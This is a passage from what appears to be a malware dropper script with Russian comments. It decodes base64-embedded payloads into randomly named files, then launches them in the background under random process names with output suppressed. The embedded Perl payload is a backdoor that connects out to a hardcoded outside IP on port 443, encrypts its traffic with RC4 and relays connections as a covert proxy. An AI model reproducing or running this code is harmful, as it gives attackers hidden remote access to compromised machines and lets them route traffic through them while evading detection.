PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #54 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #54 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 55 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf 